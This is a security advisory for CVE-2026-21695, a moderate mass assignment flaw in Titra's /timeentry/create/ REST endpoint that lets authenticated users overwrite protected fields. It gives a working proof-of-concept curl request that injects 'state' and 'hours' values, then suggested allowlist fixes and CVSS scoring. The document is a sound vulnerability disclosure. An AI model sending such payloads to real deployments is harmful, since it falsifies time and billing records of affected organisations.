Skip to content

Mass Assignment in Endpoint

Moderate
faburem published GHSA-gc65-vr47-jppq Jan 3, 2026

Package

Titra

Affected versions

<= 0.99.48

Patched versions

0.99.50

Description

Summary

Mass Assignment vulnerability exists in the REST API endpoint that allows authenticated users to inject arbitrary fields into time entries via the customfields parameter, bypassing business logic controls.

Details

The affected endpoint uses the JavaScript spread operator (...customfields) to merge user-controlled input directly into the database document. While customfields is validated as an Object type, there is no validation of which keys are permitted inside that object. This allows attackers to overwrite protected fields such as userId, hours, and state.

PoC

  1. Create a user and generate an API token
  2. Identify a valid project ID
  3. Send a POST request to /timeentry/create/ with malicious customfields
  4. Observe that protected fields are overwritten in the created time entry
curl -X POST "http://192.168.52.1:3000/timeentry/create/" \
  -H "Authorization: Bearer USER_API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "projectId": "TARGET_PROJECT_ID",
    "task": "Mass Assignment Test",
    "date": "2025-12-27",
    "hours": 1,
    "customfields": {
      "state": "billed",
      "hours": 9999
    }
  }'
output.mp4

Suggested Fix

Implement an allowlist for permitted custom field keys:

const ALLOWED_CUSTOMFIELDS = ['customField1', 'customField2', 'notes']  // Define permitted keys

function sanitizeCustomFields(customfields) {
  if (!customfields) return {}
  const sanitized = {}
  for (const key of Object.keys(customfields)) {
    if (ALLOWED_CUSTOMFIELDS.includes(key)) {
      sanitized[key] = customfields[key]
    }
  }
  return sanitized
}

// In insertTimeCard:
const safeCustomFields = sanitizeCustomFields(customfields)
const newTimeCard = {
  userId,
  projectId,
  date,
  hours,
  task: await emojify(task),
  ...safeCustomFields,
}

Alternatively, apply the spread operator before protected fields to prevent overwriting:

const newTimeCard = {
  ...customfields,  // Spread first
  userId,           // Protected fields after (cannot be overwritten)
  projectId,
  date,
  hours,
  task: await emojify(task),
}

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

CVE ID

CVE-2026-21695

Weaknesses

Improperly Controlled Modification of Dynamically-Determined Object Attributes

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified. Learn more on MITRE.

Credits